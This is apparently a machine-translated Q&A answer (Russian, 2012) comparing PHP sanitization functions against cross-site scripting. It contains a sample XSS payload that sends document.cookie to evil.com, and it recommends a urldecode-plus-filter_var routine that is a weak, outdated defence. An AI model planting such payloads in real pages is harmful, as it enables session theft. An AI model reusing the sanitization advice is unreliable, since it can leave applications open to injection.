Я думаю, что я бы предпочел комбинацию filter_var
и url_decode
, если вы хотите использовать чистое простое решение php.
Причина
Представь себе такое вменение
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
Если я использую strip_tags
var_dump(strip_tags($maliciousCode));
Вывод
string 'document.write("' (length=16)
если я использую htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
Вывод
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
Мой выбор
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
Вывод
string 'document.write(&#34;&#34;); I love PHP' (length=46)
Если в форме используется GET
вместо POST
, некоторые могут сбежать, если она закодирована по URL-адресу, вы можете получить минимальную информацию и убедиться, что окончательный текст безвреден.
Также достаточно онлайн-класса, чтобы помочь вам увидеть фильтр.
person
Baba
schedule
22.04.2012
mysql_real_escape_string()
, я предполагаю, что вы хотите сделать это с помощью PHP? - person tcole   schedule 22.04.2012